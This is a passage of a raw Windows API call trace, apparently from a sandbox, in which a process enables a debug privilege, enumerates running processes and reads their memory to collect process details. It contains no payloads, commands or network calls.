ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0208.548] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x6175995018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0208.548] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0208.548] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1b5f2d71e70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0208.548] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1b5f2d71a58, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0208.549] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0208.550] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0208.550] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x6175995020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0208.550] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1b5f2d71440, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0208.551] malloc (_Size=0xf0) returned 0x20abc286890 [0208.551] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1b5f2d71a98, lpBuffer=0x20abc286890, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0208.551] free (_Block=0x20abc286890) [0208.552] CloseHandle (hObject=0x458) returned 1 [0208.553] _ui64tow_s (in: _Value=0x13dc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="5084") returned 0x0 [0208.556] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="5084") returned 4 [0208.721] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0208.721] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0208.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x13dc) returned 0x0 [0208.736] CloseHandle (hObject=0x0) returned 0 [0208.738] free (_Block=0x20abc286d60) [0208.738] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc24fd420 | out: lpSystemTimeAsFileTime=0x2dc24fd420*(dwLowDateTime=0x383c8f32, dwHighDateTime=0x1d9eb0c)) [0208.822] SetEvent (hEvent=0x248) returned 1 [0209.542] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402130 [0209.542] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402130, pulNumLanguages=0x2dc24fde70 | out: pulNumLanguages=0x2dc24fde70) returned 1 [0209.542] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402130) returned 1 [0209.542] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4023f0) returned 1 [0232.864] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0233.032] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0233.032] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc24fdcc0 | out: pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc24fdcc0) returned 1 [0233.032] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402290 [0233.032] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0233.032] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x20abc402290, pcchLanguagesBuffer=0x2dc24fdcc0 | out: pulNumLanguages=0x2dc24fddc8, pwszLanguagesBuffer=0x20abc402290, pcchLanguagesBuffer=0x2dc24fdcc0) returned 1 [0233.032] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402300 [0233.032] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402290) returned 1 [0233.032] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba939f0 [0233.033] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba939f0, pulNumLanguages=0x2dc24fddc8 | out: pulNumLanguages=0x2dc24fddc8) returned 1 [0233.033] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba939f0) returned 1 [0233.142] malloc (_Size=0xb0) returned 0x20abc2867b0 [0233.142] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb201b0000 [0233.142] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlInitUnicodeString") returned 0x7ffb201cced0 [0233.142] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlFreeUnicodeString") returned 0x7ffb201cc680 [0233.142] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffb20257f10 [0233.142] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffb20257630 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtCreateFile") returned 0x7ffb202557e0 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemInformation") returned 0x7ffb20255400 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryDirectoryObject") returned 0x7ffb202572f0 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryObject") returned 0x7ffb20254f40 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenDirectoryObject") returned 0x7ffb20255840 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb20255060 [0233.143] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationToken") returned 0x7ffb20255160 [0233.144] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenFile") returned 0x7ffb202553a0 [0233.144] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtClose") returned 0x7ffb20254f20 [0233.144] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtFsControlFile") returned 0x7ffb20255460 [0233.144] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffb20255660 [0233.145] malloc (_Size=0x18) returned 0x20abc281aa0 [0233.145] GetCurrentThread () returned 0xfffffffffffffffe [0233.145] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x2dc24fd3b0 | out: TokenHandle=0x2dc24fd3b0*=0x464) returned 1 [0233.145] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2dc24fd3ec | out: lpLuid=0x2dc24fd3ec*(LowPart=0x14, HighPart=0)) returned 1 [0233.147] RtlRestoreLastWin32Error () returned 0x2dc20c7000 [0233.147] AdjustTokenPrivileges (in: TokenHandle=0x464, DisableAllPrivileges=0, NewState=0x2dc24fd3e8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0233.147] GetLastError () returned 0x0 [0233.147] CloseHandle (hObject=0x464) returned 1 [0233.147] malloc (_Size=0x8000) returned 0x20abc286d60 [0233.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0233.150] free (_Block=0x20abc286d60) [0233.151] malloc (_Size=0x10000) returned 0x20abc286d60 [0233.151] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0233.153] free (_Block=0x20abc286d60) [0233.154] malloc (_Size=0x18000) returned 0x20abc286d60 [0233.155] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0xc0000004 [0233.158] free (_Block=0x20abc286d60) [0233.158] malloc (_Size=0x20000) returned 0x20abc286d60 [0233.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x20abc286d60, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x20abc286d60, ResultLength=0x0) returned 0x0 [0233.159] _ui64tow_s (in: _Value=0x0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0233.263] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="0") returned 1 [0233.264] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x201d2958, dwBuildNumber=0x7ffb, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.264] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.277] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0233.278] CloseHandle (hObject=0x0) returned 0 [0233.278] _ui64tow_s (in: _Value=0x4, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0233.281] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4") returned 1 [0233.282] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.282] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.296] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0233.296] CloseHandle (hObject=0x0) returned 0 [0233.297] _ui64tow_s (in: _Value=0x138, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="312") returned 0x0 [0233.396] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="312") returned 3 [0233.397] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.397] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.409] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x138) returned 0x0 [0233.409] CloseHandle (hObject=0x0) returned 0 [0233.410] _ui64tow_s (in: _Value=0x180, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0233.413] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="384") returned 3 [0233.414] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.414] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.427] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0233.427] CloseHandle (hObject=0x0) returned 0 [0233.428] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0233.431] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="444") returned 3 [0233.432] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.432] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.556] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0233.556] CloseHandle (hObject=0x0) returned 0 [0233.557] _ui64tow_s (in: _Value=0x1c8, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="456") returned 0x0 [0233.560] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="456") returned 3 [0233.561] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.561] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.576] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c8) returned 0x0 [0233.576] CloseHandle (hObject=0x0) returned 0 [0233.577] _ui64tow_s (in: _Value=0x1fc, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="508") returned 0x0 [0233.580] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="508") returned 3 [0233.581] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0233.581] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0233.594] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x464 [0233.594] GetLastError () returned 0x0 [0233.595] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0233.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x73520ea018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0233.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0233.595] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c5bea716a0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0233.596] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c5bea713b0, lpBuffer=0x2dc24fc2d0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0233.597] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.060] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.060] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x73520ea020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.060] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c5bea70d90, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.060] malloc (_Size=0x1c) returned 0x20abc2a9af0 [0234.060] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c5bea713f2, lpBuffer=0x20abc2a9af0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a9af0*, lpNumberOfBytesRead=0x0) returned 1 [0234.060] free (_Block=0x20abc2a9af0) [0234.061] CloseHandle (hObject=0x464) returned 1 [0234.061] _ui64tow_s (in: _Value=0x214, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="532") returned 0x0 [0234.065] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="532") returned 3 [0234.066] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.066] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.080] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x214) returned 0x0 [0234.080] CloseHandle (hObject=0x0) returned 0 [0234.081] _ui64tow_s (in: _Value=0x21c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="540") returned 0x0 [0234.085] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="540") returned 3 [0234.086] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.086] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.286] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x21c) returned 0x464 [0234.286] GetLastError () returned 0x0 [0234.287] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.287] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x72f69a3018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.287] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.287] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d0c58032b0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.288] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d0c5802f08, lpBuffer=0x2dc24fc2d0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.289] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.290] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.290] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x72f69a3020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.290] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d0c58028f0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0234.290] malloc (_Size=0x3e) returned 0x20abc27cf80 [0234.290] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d0c5802f44, lpBuffer=0x20abc27cf80, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0234.291] free (_Block=0x20abc27cf80) [0234.291] CloseHandle (hObject=0x464) returned 1 [0234.292] _ui64tow_s (in: _Value=0x274, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="628") returned 0x0 [0234.295] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="628") returned 3 [0234.296] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0234.296] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0234.309] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x464 [0234.309] GetLastError () returned 0x0 [0234.310] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0234.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252b60c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0234.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0234.310] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15e739033e0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0234.311] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15e73903048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0234.312] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0234.313] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0234.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x252b60c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0234.313] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x15e73902a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 